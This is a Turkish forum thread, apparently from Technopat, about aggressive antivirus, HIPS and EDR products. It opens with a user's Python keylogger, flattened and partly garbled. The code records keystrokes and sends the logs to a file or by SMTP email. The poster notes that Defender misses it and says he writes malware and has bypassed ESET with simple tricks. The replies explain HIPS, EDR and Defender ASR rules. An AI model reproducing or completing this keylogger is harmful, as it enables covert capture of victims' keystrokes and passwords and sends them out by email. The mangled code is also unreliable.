Python:Panoya kopyala import keyboard import smtplib from email. mime. text import MIMEText from datetime import datetime from threading import Timer import locale # SETUP locale. setlocale # if you leave is blank the system language will be selected automatically. SEND_REPORT_EVERY = 120 LOG_TYPE = "file" # or email EMAIL_SMTP = "" #smtp. example.com EMAIL_PORT = None EMAIL_ADRESS = '' # EMAIL_PASSWORD = '' class Keylogger : def init : self. interval = interval self. report_method = report_method self. log = "" self. start_dt = datetime. now self. end_dt = datetime. now self. port = port self. mail_smtp = mail_smtp self. mail_adress = mail_adress self. mail_passwd = mail_passwd def record : name = event. name # this determines how special keyboard keys are seen if len > 1: if name "space": name = " " elif name "enter": name = " \n" elif name "decimal": name = "." else: name = name. replace name = f" " self. log += name # For Local File def update_filename : start_dt_str = datetime. strftime . replace end_dt_str = datetime. strftime . replace self. filename = f"keylog- " def report_to_file : with open as f: print #for email def sendmail : msg = MIMEText(message, 'plain', 'utf-8') msg = " ". format msg = ",". join msg = self. filename server = smtplib. SMTP server. starttls server. login server. sendmail(email, email, msg. as_string server. quit def report : if self. log: self. end_dt = datetime. now self. update_filename if self. report_method "email": self. sendmail elif self. report_method "file": self. report_to_file self. start_dt = datetime. now self. log = "" # every report time, report function will be run timer = Timer timer. daemon = True timer. start # main function def start : self. start_dt = datetime. now keyboard. on_release self. report keyboard. wait if name " main ": if SEND_REPORT_EVERY None: exit keylogger = Keylogger keylogger. start Python ile yazıdığım Keylogger. Logları mail olarak, ya da dizine kaydedebiliyor. Defender bunu da algılamıyor. Konumuz bu değil, HIPS ve EDR hakkında sorular sormuştum.

HIPS açık şekilde Comodo IS bakılabilir.

Welcome to the; Kaspersky/Technopat.

Bu betikleri paylaşırsan incelemek isterim. Defender'in ASR kuralları bulunuyor, herhangi bir AV'nin ulaşabileceği en paranoyak düzeye ulaşabilirsin halihazırda. Bundan ötesi için HIPS veya EDR kullanılabilir.

Elbette tarıyor fakat yazdığın şey bir zararlı değil.

Zararlı değil zaten. RAM'i ve işlemciyi meşgul eden 4 satırlık bir betik.

Arka planda çalışıyor. Tabii önce çalıştırılabilir dosya formatına dönüştümen lazım.

HIPS denilen sistem tam olarak ne oluyor?

HIPS'in ne olduğunun yaklaşık bir açıklaması için CIS kurup HIPS modülünü agresif modda aktif etmen daha iyi olur. Çok genel bir tanıma sahipler ve kapsamları programdan programa değişiyor. Şu an test edemiyorum fakat koda göz ucuyla baktım. Arkaplanda kullanıcıdan habersiz bir şekilde tuş basımlarını kaydedebiliyor mu yoksa tahmin ettiğim gibi önplanda açık olması mı gerekiyor bunun?

Ben yaklaşık 2 yıl Kaspersky kullandım. Visual Studio üzerinde C# projeleri geliştiriyorum. Bazı projelerde TCP portları üzerinden veri aktarımı yaptım. Kaspersky ise kodu derlediğim anda projedeki dosyaları direkt siliyordu. Derlenmiş dosyayı henüz çalıştırmadığım halde. Bazen de dosya adlarına göre de sildiği oluyordu. Bunlar teknik veri sayılmayabilir ama Kaspersky açıkken uygulama geliştirmenin zor olduğu bir gerçek.

EDR tam olarak nedir açıklayabilir misin biraz? İnternetten baktım ancak anladığım kadarlıyla işletim sisteminin kara kutusu. Bahsettiğin şey dump dökümü değil mi?

Eğer amacınız kurumsal veri güvenliği tarzı bir şey ise kurumsal çözüm sunan firmalara yönlenmeniz lazım. Onun dışında Kaspersky var ücretsiz. Bir ara Bitdefender vardı agresif diye duymuştum ama nasıldır bilemem.

Birkaç aydır zararlı yazılımlar yazıyorum. Özellikle Windows Defender'ın başarısızlığını defalarca çok basit betiklerle teyit ettim. Bu birkaç aylık ufak tecrübe süresinde bir güvenlik yazılımının hangi özelliklere sahip olması gerektiğini az çok kestirebiliyorum. ESET gibi koca güvenlik firmalarını ne kadar basit hilelerle bypass edilebileceğini gördüm. Gerekirse bir jpeg dosyasını bile tarayan, sürekli tetikte olan, veri tabanı sağlam olan önerebileceğiniz agresif, paranoyak bir güvenlik yazılımı var mı? Sağdan soldan duyduğunuz laflarla değil, teknik verilerle öneri verebilirseniz çok memnun olurum. Not: Ücret Önemli Değil